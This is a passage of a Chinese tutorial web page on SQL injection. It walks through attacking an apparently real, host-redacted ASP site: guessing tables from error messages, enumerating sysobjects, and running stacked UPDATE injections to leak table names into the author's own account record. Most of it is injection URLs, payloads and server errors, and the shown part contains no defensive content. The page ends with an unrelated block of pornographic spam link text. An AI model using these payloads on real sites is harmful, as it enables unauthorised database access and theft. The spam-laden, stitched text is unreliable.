• <output id="aynwq"><form id="aynwq"><code id="aynwq"></code></form></output>

    <mark id="aynwq"><option id="aynwq"></option></mark>
  • <mark id="aynwq"><option id="aynwq"></option></mark><label id="aynwq"><dl id="aynwq"></dl></label>
  • 學習啦>學習電腦>電腦安全>網絡安全知識>

    SQL注入漏洞的攻防策略(5)

    時間: 若木632 分享

      一般來說:

      如果不存在該表的話,會出現

      Microsoft OLE DB Provider for SQL Server 錯誤 80040e37

      對象名 user 無效。

      /showspecial.asp,行13

      不存在該字段的話,會出現

      Microsoft OLE DB Provider for SQL Server 錯誤 80040e14

      列名 id 無效。

      /showspecial.asp,行13

      注:一般來說,第一步是猜一些公共的表,這里所指的公共表的意思是大多數的程序員在寫設計數據

      庫結構的時候會用到的常用的表和字段,比如新聞的news表中的編號字段id,標題字段title,用戶表use

      r或者user_data中的編號字段id,用戶名字段username,當然你也可以在該站點的登陸界面看他的原代碼

      ,找到用戶名和密碼的表單的name值,那個也經常會是表字段名的真實值,如

      name=username size=15>

      很幸運,果然存在user表和id字段

      3、通過提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username)

      from [user])

      這里的username是根據登陸框的表單名去猜的,恰好存在該字段。于是在該站注冊了一個用戶名為rr

      rrr的用戶,作為注入的平臺,得到我的用戶名的id值103534

      4、繼續猜下去,這里我還是利用的他程序中的表單名,提交:

      http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])

      也存在,好了,到這里,我們的平臺已經搭建好了。

      二、深入研究,讓SQL自己招數據庫結構

      很多時候,我們只能猜到大家比較熟用的表名,如果是非原程序公開下載的,我們很猜到他的真實數

      據庫結構,有時候猜半天都猜不到,令人很郁悶,那么該如何拿到他的表結構呢?我們知道SQL SERVER的

      每一個數據庫都會有用戶表和系統表,根據SQL SERVER的聯機幫助描述是系統表sysobjects:在數據庫內

      創建的每個對象(約束、默認值、日志、規則、存儲過程等)在表中占一行,那么也就是說當前數據庫的

      表名都會在該表內有存在,(對象名 admin 無效。大家可以看到上面出現的報錯把表名描述成對象)。

      我們要用的是其中的3個,描述如下(詳細的見SQL SERVER的聯機幫助):

      name 數據表的名字

      xtype 數據表的類型 u為用戶表

      id 數據表的對象標志

      status 保留字段,用戶表一般都是大于0的

      在查詢分析器執行以下SQL語句(以我本地的數據庫為例子)

      select top 1 name from sysobjects where xtype=u and status>0

      我們馬上就可以得到該數據庫下用戶表的第一個表名gallery

      select top 1 id from sysobjects where xtype=u and name=gallery

      我們馬上就可以得到該數據庫下用戶表的第一個表名gallery的對象標志2099048

      select top 1 name from sysobjects where xtype=u and id>2099048

      再得到第2個表名gb_data,這里用到的是id>2099048,因為對象標志id是根據由小到大排列的。

      以此類推,我們可以得到所有的用戶表的名字了

      接下來,我們要根據得到的表名取他的字段名,這里我們用到的是系統自帶的2個函數col_name()和o

      bject_id(),在查詢分析器執行以下SQL語句(以我本地的數據庫為例子):

      select top 1 col_name(object_id(gallery),1) from gallery

      得到gallery表的第一個字段名為id。

      注:

      col_name()的語法

      COL_NAME ( table_id , column_id )

      參數

      table_id:包含數據庫列的表的標識號。table_id 屬于 int 類型。

      column_id:列的標識號。column_id 參數屬于 int 類型。

      其中我們用object_id()函數來得到該表的標識號,1、2、3。。表示該表的第1個、第2個、第3個。

      。字段的標識號

      以此類推得到該表所有的字段名稱

      三、再次滲透攻擊

      經過上面2步的熱身,接下來我們該利用建立好的平臺實際操作演練一下了

      依然是那個頁,我們提交

      http://******/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from

      sysobjects where xtype=u and status>0) where id=103534;--

      服務器返回

      ADODB.Recordset 錯誤 800a0cb3

      當前記錄集不支持更新。這可能是提供程序的限制,也可能是選定鎖定類型的限制。

      /showspecial.asp,行19

      出師不利,可能該頁記錄集打開方式是只讀,我們再換一個頁

      找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同樣存在問題,于是提交

      http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

      name from sysobjects where xtype=u and status>0) where id=103534;--

      把第一個數據表的名字更新到我的資料的email項里去,得到第一個表名為:lmuser

      http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id

      from sysobjects where xtype=u and name=lmuser) where id=103534;--

      得到第一個表lmuser的id標識號為:363148339

      http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

      name from sysobjects where xtype=u and id>363148339) where id=103534;--

      得到第二個表名為:ad。這里我們利用的是數據表的對象標志id是升序排列的特點,以此類推繼續取

      ……(由于篇幅問題,中間省略n步),最后我們得到了所有的表名,發現其中有個表admin,哈,很可能

      就是管理員的列表了。

    75367 主站蜘蛛池模板: 免费观看性行为视频的网站| 女人张开腿让男人捅| 日本肉体xxxx裸交| 国产男女猛烈无遮挡免费网站| 亚洲国产日韩欧美一区二区三区| 98精品国产综合久久| 欧美疯狂性受xxxxx另类| 国产视频一区在线播放| 亚洲天堂第一区| 浮力影院国产第一页| 最近中文字幕国语免费完整| 国产成人精品无码一区二区 | 色偷偷女男人的天堂亚洲网| 日本chinese人妖video| 国产aⅴ激情无码久久| 丫头稚嫩紧窄小缝| 看**视频一级毛片| 在线成年视频免费观看| 亚洲国产av无码精品| 久久久久久久久人体| 日本在线视频www色| 啦啦啦最新在线观看免费高清视频| 一级成人a做片免费| 男人进去女人爽免费视频国产| 国自产拍在线天天更新91| 亚洲图片中文字幕| 麻豆安全免费网址入口| 把腿抬起来就可以吃到扇贝了| 午夜在线播放免费高清观看| a级精品九九九大片免费看| 欧美激情综合色综合啪啪五月| 国产激情对白一区二区三区四| 久久精品中文字幕| 美国一级毛片免费看| 天堂在线www天堂中文在线| 亚洲成在线观看| 高潮抽搐潮喷毛片在线播放| 我想看一级毛片| 亚洲美女免费视频| 日本人强jizz多人| 欧美日韩免费看|